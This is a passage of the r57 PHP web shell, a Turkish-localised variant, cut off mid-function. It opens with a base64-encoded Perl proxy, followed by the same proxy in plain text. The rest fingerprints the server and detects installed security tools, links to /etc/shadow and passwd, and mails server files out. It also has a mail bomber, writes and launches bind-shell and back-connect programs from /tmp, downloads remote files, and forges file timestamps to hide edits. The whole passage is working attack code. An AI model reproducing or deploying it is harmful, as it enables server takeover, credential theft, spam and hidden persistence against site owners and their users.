TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";

/* ??ST SATIRIN KIRILMI?? HAL? */
/*

#!usr/bin/perl
use Socket;
my $port = $ARGV[0]||31337;
my $protocol = getprotobyname(\'tcp\');
my $my_addr  = sockaddr_in ($port, INADDR_ANY);
socket (SOCK, AF_INET, SOCK_STREAM, $protocol) or die "socket(): $!";
setsockopt (SOCK, SOL_SOCKET, SO_REUSEADDR,1 ) or die "setsockopt(): $!";
bind (SOCK, $my_addr) or die "bind(): $!";
listen (SOCK, SOMAXCONN) or die "listen(): $!";
$SIG{\'INT\'} = sub {
close (SOCK);
exit;
};
while (1) {
next unless my $remote_addr = accept (SESSION, SOCK);
my ($fist, $method, $remote_host, $remote_port) = analyze_request();
if(open_connection (REMOTE, $remote_host, $remote_port) == 0) {
close (SESSION);
next;
}
print REMOTE $first;
print REMOTE "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
while (<SESSION>) {
next if (/Proxy-Connection:/ || /User-Agent:/);
print REMOTE $_;
last if ($_ =~ /^[\s\x00]*$/);
}
print REMOTE "\n";
$header = 1;
while (<REMOTE>) {
print SESSION $_;
if ($header) {     
if ($header && $_ =~ /^[\s\x00]*$/) {
$header = 0;
}
}
}
close (REMOTE);
close (SESSION);
}
close (SOCK);
sub analyze_request {
my ($fist, $url, $remote_host, $remote_port, $method);
$first = <SESSION>;
$url = ($first =~ m|(http://\S+)|)[0];
($method, $remote_host, $remote_port) = 
($first =~ m!(GET) http://([^/:]+):?(\d*)! );
if (!$remote_host) {
close(SESSION);
exit;
}
$remote_port = "http" unless ($remote_port);
$first =~ s/http:\/\/[^\/]+//;
return ($first, $method, $remote_host, $remote_port);
}
sub open_connection {
my ($host, $port) = @_[1,2];
my ($dest_addr, $cur);
if ($port !~ /^\d+$/) {
$port = (getservbyname($port, "tcp"))[2];
$port = 80 unless ($port);
}
$host = inet_aton ($host) or return 0;
$dest_addr = sockaddr_in ($port, $host);
socket ($_[0], AF_INET, SOCK_STREAM, $protocol) or die "socket() : $!";
connect ($_[0], $dest_addr) or return 0;
$cur = select($_[0]);  
$| = 1;
select($cur);
return 1;
}

*/


if($unix)
{
if(!isset($_COOKIE[\'uname\'])) {$uname = ex(\'uname -a\');setcookie(\'uname\',$uname);}else {$uname = $_COOKIE[\'uname\'];}
if(!isset($_COOKIE[\'id\'])) {$id = ex(\'id\');setcookie(\'id\',$id);}else {$id = $_COOKIE[\'id\'];}
if($safe_mode) {$sysctl = \'-\';}
else if(isset($_COOKIE[\'sysctl\'])) {$sysctl = $_COOKIE[\'sysctl\'];}
else  
{
$sysctl = ex(\'sysctl -n kern.ostype && sysctl -n kern.osrelease\');
if(empty($sysctl)) {$sysctl = ex(\'sysctl -n kernel.ostype && sysctl -n kernel.osrelease\');}
if(empty($sysctl)) {$sysctl = \'-\';}
setcookie(\'sysctl\',$sysctl);
}
}
echo $head;
echo \'</head>\';
echo \'<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333 width=160><font face=Verdana size=2>\'.ws(2).\'<font face=tahoma size=2><b>#r57 shell \'.$version.\'</b></font></td><td bgcolor=#333333><font face=Verdana size=-2>\';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
if(isset($_SERVER[\'X_FORWARDED_FOR\'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER[\'X_FORWARDED_FOR\']."</font>]";}
if(isset($_SERVER[\'CLIENT_IP\'])){echo " CLIENT_IP: [<font color=red>".$_SERVER[\'CLIENT_IP\']."</font>]";}
echo " Zone-H kontrol: [<a href=http://www.zone-h.org/archive/ip=".gethostbyname($_SERVER["HTTP_HOST"])." target=iframe><font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font></a>]";
echo "<br>";
echo ws(2)."PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists(\'curl_version\');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
echo "</b>".ws(2);
echo "MySQL: <b>";
$mysql_on = @function_exists(\'mysql_connect\');
if($mysql_on){
echo "<font color=green>ON</font>";}else {echo "<font color=red>Kapali</font>";}
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists(\'mssql_connect\');
if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists(\'pg_connect\');
if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists(\'ocilogon\');
if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
echo "</b><br>".ws(2);
echo "Safe_mode: <b>";
echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
echo "</b>".ws(2);
echo "Open_basedir: <b>";
if($open_basedir) {if (\'\'==($df=@ini_get(\'open_basedir\'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=red>NONE</font></b>";}
echo ws(2)."Safe_mode_exec_dir: <b>";
if(@function_exists(\'ini_get\')) {if (\'\'==($df=@ini_get(\'safe_mode_exec_dir\'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Safe_mode_include_dir: <b>";
if(@function_exists(\'ini_get\')) {if (\'\'==($df=@ini_get(\'safe_mode_include_dir\'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo "<br>".ws(2);
echo "Disable functions : <b>";$df=\'ini_get  disable!\';
if((@function_exists(\'ini_get\')) &&(\'\'==($df=@ini_get(\'disable_functions\')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
$ust=\'\';
if($unix &&!$safe_mode){
if (which(\'gcc\')) {$ust.="gcc,";}
if (which(\'cc\')) {$ust.="cc,";}
if (which(\'ld\')) {$ust.="ld,";}
if (which(\'php\')) {$ust.="php,";}
if (which(\'perl\')) {$ust.="perl,";}
if (which(\'python\')) {$ust.="python,";}
if (which(\'ruby\')) {$ust.="ruby,";}
if (which(\'make\')) {$ust.="make,";}
if (which(\'tar\')) {$ust.="tar,";}
if (which(\'nc\')) {$ust.="netcat,";}
if (which(\'locate\')) {$ust.="locate,";}
if (which(\'suidperl\')) {$ust.="suidperl,";}
}
if (@function_exists(\'pcntl_exec\')) {$ust.="pcntl_exec,";}
if($ust){echo "<br>".ws(2).$lang[$language.\'_text137\'].": <font color=blue>".$ust."</font>";}
$ust=\'\';
if($unix &&!$safe_mode){
if (which(\'kav\')) {$ust.="kav,";}
if (which(\'nod32\')) {$ust.="nod32,";}
if (which(\'bdcored\')) {$ust.="bitdefender,";}
if (which(\'uvscan\')) {$ust.="mcafee,";}
if (which(\'sav\')) {$ust.="symantec,";}
if (which(\'drwebd\')) {$ust="drwebd,";}
if (which(\'clamd\')) {$ust.="clamd,";}
if (which(\'rkhunter\')) {$ust.="rkhunter,";}
if (which(\'chkrootkit\')) {$ust.="chkrootkit,";}
if (which(\'iptables\')) {$ust.="iptables,";}
if (which(\'ipfw\')) {$ust.="ipfw,";}
if (which(\'tripwire\')) {$ust.="tripwire,";}
if (which(\'shieldcc\')) {$ust.="stackshield,";}
if (which(\'portsentry\')) {$ust.="portsentry,";}
if (which(\'snort\')) {$ust.="snort,";}
if (which(\'ossec\')) {$ust.="ossec,";}
if (which(\'lidsadm\')) {$ust.="lidsadm,";}
if (which(\'tcplodg\')) {$ust.="tcplodg,";}
if (which(\'tripwire\')) {$ust.="tripwire,";}
if (which(\'sxid\')) {$ust.="sxid,";}
if (which(\'logcheck\')) {$ust.="logcheck,";}
if (which(\'logwatch\')) {$ust.="logwatch,";}
}
if (@function_exists(\'apache_get_modules\') &&@in_array(\'mod_security\',apache_get_modules())) {$ust.="mod_security,";}
if($ust){echo "<br>".ws(2).$lang[$language.\'_text138\'].": <font color=red>$ust</font>";}
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?phpinfo title=\"".$lang[$language.\'_text46\']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?phpini title=\"".$lang[$language.\'_text47\']."\"><b>php.ini</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?cpu title=\"".$lang[$language.\'_text50\']."\"><b>cpu</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?mem title=\"".$lang[$language.\'_text51\']."\"><b>mem</b></a> ".$rb;
if(!$unix) {
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?systeminfo title=\"".$lang[$language.\'_text50\']."\"><b>systeminfo</b></a> ".$rb;
}else{
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?passwd title=\"".$lang[$language.\'_text95\']."\"><b>passwd</b></a> ".$rb;
}
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?tmp title=\"".$lang[$language.\'_text48\']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?delete title=\"".$lang[$language.\'_text49\']."\"><b>delete</b></a> ".$rb;
if($unix &&!$safe_mode) 
{
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?version title=\"View proc version\"><b>version</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?free title=\"View mem free\"><b>free</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?w title=\"View w\"><b>w</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?who title=\"View who\"><b>who</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?service title=\"View service\"><b>service</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER[\'PHP_SELF\']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb;
}
echo \'</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000>
<tr><td align=right width=100>\';
echo $font;
if($unix){
echo \'<font color=blue><b>uname -a :\'.ws(1).\'<br>sysctl :\'.ws(1).\'<br>$OSTYPE :\'.ws(1).\'<br>Server :\'.ws(1).\'<br>id :\'.ws(1).\'<br>pwd :\'.ws(1).\'</b></font><br>\';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex(\'echo $OSTYPE\')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) {echo ws(3).$id."<br>";}
else if(@function_exists(\'posix_geteuid\') &&@function_exists(\'posix_getegid\') &&@function_exists(\'posix_getgrgid\') &&@function_exists(\'posix_getpwuid\'))
{
$euserinfo  = @posix_getpwuid(@posix_geteuid());
$egroupinfo = @posix_getgrgid(@posix_getegid());
echo ws(3).\'uid=\'.$euserinfo[\'uid\'].\' ( \'.$euserinfo[\'name\'].\' ) gid=\'.$egroupinfo[\'gid\'].\' ( \'.$egroupinfo[\'name\'].\' )<br>\';
}
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).\'( \'.perms(@fileperms($dir)).\' )\';
echo "</b></font>";
}
else
{
echo \'<font color=blue><b>OS :\'.ws(1).\'<br>Server :\'.ws(1).\'<br>User :\'.ws(1).\'<br>pwd :\'.ws(1).\'</b></font><br>\';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="mail")
{
$res = mail($_POST[\'to\'],$_POST[\'subj\'],$_POST[\'text\'],"From: ".$_POST[\'from\']."\r\n");
err(6+$res);
$_POST[\'cmd\']="";
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="mail_file"&&!empty($_POST[\'loc_file\']))
{
if($file=@fopen($_POST[\'loc_file\'],"r")){$filedump = @fread($file,@filesize($_POST[\'loc_file\']));@fclose($file);}
else if ($file=readzlib($_POST[\'loc_file\'])) {$filedump = $file;}else {err(1,$_POST[\'loc_file\']);$_POST[\'cmd\']="";}
if(isset($_POST[\'cmd\'])) 
{
$filename = @basename($_POST[\'loc_file\']);
$content_encoding=$mime_type=\'\';
compress($filename,$filedump,$_POST[\'compress\']);
$attach = array(
"name"=>$filename,
"type"=>$mime_type,
"content"=>$filedump
);
if(empty($_POST[\'subj\'])) {$_POST[\'subj\'] = \'file from r57\';}
if(empty($_POST[\'from\'])) {$_POST[\'from\'] = \'[email protected]\';}
$res = mailattach($_POST[\'to\'],$_POST[\'from\'],$_POST[\'subj\'],$attach);
err(6+$res);
$_POST[\'cmd\']="";
}
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="mail_bomber"&&!empty($_POST[\'mail_flood\']) &&!empty($_POST[\'mail_size\']))
{
for($h=1;$h<=$_POST[\'mail_flood\'];$h++){
$res = mail($_POST[\'to\'],$_POST[\'subj\'],$_POST[\'text\'].str_repeat(" ",1024*$_POST[\'mail_size\']),"From: ".$_POST[\'from\']."\r\n");
}
err(6+$res);
$_POST[\'cmd\']="";
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\'] == "find_text")
{
$_POST[\'cmd\'] = \'find \'.$_POST[\'s_dir\'].\' -name \\'\'.$_POST[\'s_mask\'].\'\\' | xargs grep -E \\'\'.$_POST[\'s_text\'].\'\\'\';
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="ch_")
{
switch($_POST[\'what\'])
{
case \'own\':
@chown($_POST[\'param1\'],$_POST[\'param2\']);
break;
case \'grp\':
@chgrp($_POST[\'param1\'],$_POST[\'param2\']);
break;
case \'mod\':
@chmod($_POST[\'param1\'],intval($_POST[\'param2\'],8));
break;
}
$_POST[\'cmd\']="";
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="mk")
{
switch($_POST[\'what\'])
{
case \'file\':
if($_POST[\'action\'] == "create")
{
if(@file_exists($_POST[\'mk_name\']) ||!$file=@fopen($_POST[\'mk_name\'],"w")) {err(2,$_POST[\'mk_name\']);$_POST[\'cmd\']="";}
else {
@fclose($file);
$_POST[\'e_name\'] = $_POST[\'mk_name\'];
$_POST[\'cmd\']="edit_file";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.\'_text61\']."</b></font></div></td></tr></table>";
}
}
else if($_POST[\'action\'] == "delete")
{
if(unlink($_POST[\'mk_name\'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.\'_text63\']."</b></font></div></td></tr></table>";
$_POST[\'cmd\']="";
}
break;
case \'dir\':
if($_POST[\'action\'] == "create"){
if(@mkdir($_POST[\'mk_name\']))
{
$_POST[\'cmd\']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.\'_text62\']."</b></font></div></td></tr></table>";
}
else {err(2,$_POST[\'mk_name\']);$_POST[\'cmd\']="";}
}
else if($_POST[\'action\'] == "delete"){
if(@rmdir($_POST[\'mk_name\'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.\'_text64\']."</b></font></div></td></tr></table>";
$_POST[\'cmd\']="";
}
break;
}
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="touch")
{
if(!$_POST[\'file_name_r\'])
{
$datar = $_POST[\'day\']." ".$_POST[\'month\']." ".$_POST[\'year\']." ".$_POST[\'chasi\']." hours ".$_POST[\'minutes\']." minutes ".$_POST[\'second\']." seconds";
$datar = @strtotime($datar);
@touch($_POST[\'file_name\'],$datar,$datar);}
else{
@touch($_POST[\'file_name\'],@filemtime($_POST[\'file_name_r\']),@filemtime($_POST[\'file_name_r\']));
}
$_POST[\'cmd\']="";
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="edit_file"&&!empty($_POST[\'e_name\']))
{
if(!$file=@fopen($_POST[\'e_name\'],"r+")) {$filedump = @fread($file,@filesize($_POST[\'e_name\']));@fclose($file);$only_read = 1;}
if($file=@fopen($_POST[\'e_name\'],"r")) {$filedump = @fread($file,@filesize($_POST[\'e_name\']));@fclose($file);}
else if ($file=readzlib($_POST[\'e_name\'])) {$filedump = $file;$only_read = 1;}else {err(1,$_POST[\'e_name\']);$_POST[\'cmd\']="";}
if(isset($_POST[\'cmd\'])) 
{
echo $table_up3;
echo $font;
echo "<form name=save_file method=post>";
echo ws(3)."<b>".$_POST[\'e_name\']."</b>";
echo "<div align=center><textarea name=e_text cols=121 rows=24>";
echo @htmlspecialchars($filedump);
echo "</textarea>";
echo "<input type=hidden name=e_name value=".$_POST[\'e_name\'].">";
echo "<input type=hidden name=dir value=".$dir.">";
echo "<input type=hidden name=cmd value=save_file>";
echo (!empty($only_read)?("<br><br>".$lang[$language.\'_text44\']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.\'_butt10\']." \">"));
echo "</div>";
echo "</font>";
echo "</form>";
echo "</td></tr></table>";
exit();
}
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="save_file")
{
$mtime = @filemtime($_POST[\'e_name\']);
if((!$file=@fopen($_POST[\'e_name\'],"w")) &&(!function_exists(\'file_put_contents\'))) {err(0,$_POST[\'e_name\']);}
else {
if($unix) $_POST[\'e_text\']=@str_replace("\r\n","\n",$_POST[\'e_text\']);
@fwrite($file,$_POST[\'e_text\']) or @fputs($file,$_POST[\'e_text\']) or @file_put_contents($_POST[\'e_name\'],$_POST[\'e_text\']);
@touch($_POST[\'e_name\'],$mtime,$mtime);
$_POST[\'cmd\']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.\'_text45\']."</b></font></div></td></tr></table>";
}
}
if (!empty($_POST[\'proxy_port\'])&&($_POST[\'use\']=="Perl"))
{
cf("/tmp/prxpl",$prx_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/prxpl ".$_POST[\'proxy_port\']." &");
$_POST[\'cmd\']="ps -aux | grep prxpl";
}
if (!empty($_POST[\'port\'])&&!empty($_POST[\'bind_pass\'])&&($_POST[\'use\']=="C"))
{
cf("/tmp/bd.c",$port_bind_bd_c);
$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
@unlink("/tmp/bd.c");
$blah = ex("/tmp/bd ".$_POST[\'port\']." ".$_POST[\'bind_pass\']." &");
$_POST[\'cmd\']="ps -aux | grep bd";
}
if (!empty($_POST[\'port\'])&&!empty($_POST[\'bind_pass\'])&&($_POST[\'use\']=="Perl"))
{
cf("/tmp/bdpl",$port_bind_bd_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/bdpl ".$_POST[\'port\']." &");
$_POST[\'cmd\']="ps -aux | grep bdpl";
}
if (!empty($_POST[\'ip\']) &&!empty($_POST[\'port\']) &&($_POST[\'use\']=="Perl"))
{
cf("/tmp/back",$back_connect);
$p2=which("perl");
$blah = ex($p2." /tmp/back ".$_POST[\'ip\']." ".$_POST[\'port\']." &");
$_POST[\'cmd\']="echo \"Now script try connect to ".$_POST[\'ip\']." port ".$_POST[\'port\']." ...\"";
}
if (!empty($_POST[\'ip\']) &&!empty($_POST[\'port\']) &&($_POST[\'use\']=="C"))
{
cf("/tmp/back.c",$back_connect_c);
$blah = ex("gcc -o /tmp/backc /tmp/back.c");
@unlink("/tmp/back.c");
$blah = ex("/tmp/backc ".$_POST[\'ip\']." ".$_POST[\'port\']." &");
$_POST[\'cmd\']="echo \"Now script try connect to ".$_POST[\'ip\']." port ".$_POST[\'port\']." ...\"";
}
if (!empty($_POST[\'local_port\']) &&!empty($_POST[\'remote_host\']) &&!empty($_POST[\'remote_port\']) &&($_POST[\'use\']=="Perl"))
{
cf("/tmp/dp",$datapipe_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/dp ".$_POST[\'local_port\']." ".$_POST[\'remote_host\']." ".$_POST[\'remote_port\']." &");
$_POST[\'cmd\']="ps -aux | grep dp";
}
if (!empty($_POST[\'local_port\']) &&!empty($_POST[\'remote_host\']) &&!empty($_POST[\'remote_port\']) &&($_POST[\'use\']=="C"))
{
cf("/tmp/dpc.c",$datapipe_c);
$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
@unlink("/tmp/dpc.c");
$blah = ex("/tmp/dpc ".$_POST[\'local_port\']." ".$_POST[\'remote_port\']." ".$_POST[\'remote_host\']." &");
$_POST[\'cmd\']="ps -aux | grep dpc";
}
if (!empty($_POST[\'alias\']) &&isset($aliases[$_POST[\'alias\']])) {$_POST[\'cmd\'] = $aliases[$_POST[\'alias\']];}
for($upl=0;$upl<=16;$upl++)
{
if(!empty($HTTP_POST_FILES[\'userfile\'.$upl][\'name\'])){
if(!empty($_POST[\'new_name\']) &&($upl==0)) {$nfn = $_POST[\'new_name\'];}
else {$nfn = $HTTP_POST_FILES[\'userfile\'.$upl][\'name\'];}
@move_uploaded_file($HTTP_POST_FILES[\'userfile\'.$upl][\'tmp_name\'],$_POST[\'dir\']."/".$nfn)
or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES[\'userfile\'.$upl][\'name\']."</div></font>");
}
}
if (!empty($_POST[\'with\']) &&!empty($_POST[\'rem_file\']) &&!empty($_POST[\'loc_file\']))
{
switch($_POST[\'with\'])
{
case \'fopen\':
$datafile = @implode("",@file($_POST[\'rem_file\']));
if($datafile)
{
$w_file=@fopen($_POST[\'loc_file\'],"wb") or @function_exists(\'file_put_contents\') or err(0);
if($w_file)
{
@fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST[\'loc_file\'],$datafile);
@fclose($w_file);
}
}
$_POST[\'cmd\'] = \'\';
break;
case \'wget\':
$_POST[\'cmd\'] = which(\'wget\')." ".$_POST[\'rem_file\']." -O ".$_POST[\'loc_file\']."";
break;
case \'fetch\':
$_POST[\'cmd\'] = which(\'fetch\')." -o ".$_POST[\'loc_file\']." -p ".$_POST[\'rem_file\']."";
break;
case \'lynx\':
$_POST[\'cmd\'] = which(\'lynx\')." -source ".$_POST[\'rem_file\']." > ".$_POST[\'loc_file\']."";
break;
case \'links\':
$_POST[\'cmd\'] = which(\'links\')." -source ".$_POST[\'rem_file\']." > ".$_POST[\'loc_file\']."";
break;
case \'GET\':
$_POST[\'cmd\'] = which(\'GET\')." ".$_POST[\'rem_file\']." > ".$_POST[\'loc_file\']."";
break;
case \'curl\':
$_POST[\'cmd\'] = which(\'curl\')." ".$_POST[\'rem_file\']." -o ".$_POST[\'loc_file\']."";
break;
}
}
if(!empty($_POST[\'cmd\']) &&(($_POST[\'cmd\']=="ftp_file_up") ||($_POST[\'cmd\']=="ftp_file_down")))
{
list($ftp_server,$ftp_port) = split(":",$_POST[\'ftp_server_port\']);
if(empty($ftp_port)) {$ftp_port = 21;}
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) {err(3);}
else 
{
